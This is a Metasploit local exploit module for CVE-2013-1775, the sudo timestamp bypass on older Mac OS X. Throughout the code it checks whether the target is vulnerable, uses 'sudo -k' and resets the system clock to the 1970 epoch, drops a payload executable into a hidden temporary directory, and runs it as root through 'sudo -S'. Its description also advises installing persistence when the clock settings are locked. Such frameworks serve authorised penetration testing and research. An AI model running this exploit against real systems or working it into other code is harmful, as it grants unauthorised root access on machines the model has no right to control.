##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'shellwords'

class MetasploitModule < Msf::Exploit::Local

  # ManualRanking because it's going to modify system time
  # Even when it will try to restore things, user should use
  # it at his own risk
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
  VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
  CMD_TIMEOUT = 45

  # saved clock config
  attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X Sudo Password Bypass',
      'Description'   => %q{
        This module gains a session with root permissions on versions of OS X with
        sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
        and possibly lower versions.

        If your session belongs to a user with Administrative Privileges
        (the user is in the sudoers file and is in the "admin group"), and the
        user has ever run the "sudo" command, it is possible to become the super
        user by running `sudo -k` and then resetting the system clock to 01-01-1970.

        This module will fail silently if the user is not an admin, if the user has never
        run the sudo command, or if the admin has locked the Date/Time preferences.

        Note: If the user has locked the Date/Time preferences, requests to overwrite
        the system clock will be ignored, and the module will silently fail. However,
        if the "Require an administrator password to access locked preferences" setting
        is not enabled, the Date/Time preferences are often unlocked every time the admin
        logs in, so you can install persistence and wait for a chance later.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Todd C. Miller', # Vulnerability discovery
          'joev', # Metasploit module
          'juan vazquez' # testing/fixing module bugs
        ],
      'References'    =>
        [
          [ 'CVE', '2013-1775' ],
          [ 'OSVDB', '90677' ],
          [ 'BID', '58203' ],
          [ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
        ],
      'Platform'      => 'osx',
      'Arch'          => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
      'SessionTypes'  => [ 'shell', 'meterpreter' ],
      'Targets'       => [
        [ 'Mac OS X x86 (Native Payload)',
          {
            'Platform' => 'osx',
            'Arch' => ARCH_X86
          }
        ],
        [ 'Mac OS X x64 (Native Payload)',
          {
            'Platform' => 'osx',
            'Arch' => ARCH_X64
          }
        ],
        [ 'CMD',
          {
            'Platform' => 'unix',
            'Arch' => ARCH_CMD
          }
        ]
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2013-02-28'
    ))
    register_advanced_options([
      OptString.new('TMP_FILE',
        [true,'For the native targets, specifies the path that '+
          'the executable will be dropped on the client machine.',
          '/tmp/.<random>/<random>']
      ),
    ])
  end

  # ensure target is vulnerable by checking sudo vn and checking
  # user is in admin group.
  def check
    if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
      sudo_vn = $1
      sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
      # check vn between 1.6.0 through 1.7.10p6
      # and 1.8.0 through 1.8.6p6
      if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
        vprint_error "sudo version #{sudo_vn} not vulnerable."
        return CheckCode::Safe
      end
    else
      vprint_error "sudo not detected on the system."
      return CheckCode::Safe
    end

    # check that the user is in OSX's admin group, necessary to change sys clock
    unless is_admin?
      vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
      return CheckCode::Safe
    end

    # one root for you sir
    CheckCode::Vulnerable
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless is_admin?
      fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
    end

    if check != CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    # "remember" the current system time/date/network/zone
    print_good("User is an admin, continuing...")

    print_status("Saving system clock config...")
    @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
    @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
    @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
    @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
    @network_server = if @networked
      cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
    end

    run_sudo_cmd
  end

  def cleanup
    if @clock_changed
      print_status("Resetting system clock to original values") if @time
      cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
      cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
      cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
      if @networked
        cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
        unless @network_server.nil?
          cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
        end
      end
      print_good("Completed clock reset.")
    else
      print_status "Skipping cleanup since the clock was never changed"
    end

    super
  end

  private

  def run_sudo_cmd
    print_status("Resetting user's time stamp file and setting clock to the epoch")
    cmd_exec(
      "sudo -k; \n"+
      "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+
      " -setdate 01:01:1970 -settime 00:00"
    )
    if not cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match("1/1/1970")
      fail_with(Failure::NoAccess, "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.")
    else
      @clock_changed = true
    end

    # drop the payload (unless CMD)
    if using_native_target?
      cmd_exec("mkdir -p #{File.dirname(drop_path)}")
      write_file(drop_path, generate_payload_exe)
      register_files_for_cleanup(drop_path)
      cmd_exec("chmod +x #{[drop_path].shelljoin}")
      print_status("Payload dropped and registered for cleanup")
    end

    # Run Test
    test = rand_text_alpha(4 + rand(4))
    sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')

    print_status("Testing that user has sudoed before...")
    output = cmd_exec('echo "" | ' + sudo_cmd_test)

    if output =~ /incorrect password attempts\s*$/i
      fail_with(Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
    elsif output =~ /#{test}/
      print_good("Test executed succesfully. Running payload.")
    else
      print_error("Unknown fail while testing, trying to execute the payload anyway...")
    end

    # Run Payload
    sudo_cmd_raw = if using_native_target?
      ['sudo', '-S', [drop_path].shelljoin].join(' ')
    elsif using_cmd_target?
      ['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
    end

    ## to prevent the password prompt from destroying session
    ## backgrounding the sudo payload in order to keep both sessions usable
    sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'

    print_status "Running command: "
    print_line sudo_cmd
    output = cmd_exec(sudo_cmd)

  end

  # default cmd_exec timeout to CMD_TIMEOUT constant
  def cmd_exec(cmd, args=nil, timeout=CMD_TIMEOUT)
    super
  end

  # helper methods for accessing datastore
  def using_native_target?
    target.name =~ /native/i
  end

  def using_cmd_target?
    target.name =~ /cmd/i
  end

  def drop_path
    @_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
  end

  # helper methods for dealing with sudo's vn num
  def parse_vn(vn_str)
    vn_str.split(/[\.p]/).map(&:to_i)
  end

  def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
    vn_parts = parse_vn(vn)
    ranges.any? do |range|
      min_parts = parse_vn(range[0])
      max_parts = parse_vn(range[1])
      vn_parts.all? do |part|
        min = min_parts.shift
        max = max_parts.shift
        (min.nil? or (not part.nil? and part >= min)) and
          (part.nil? or (not max.nil? and part <= max))
      end
    end
  end
end
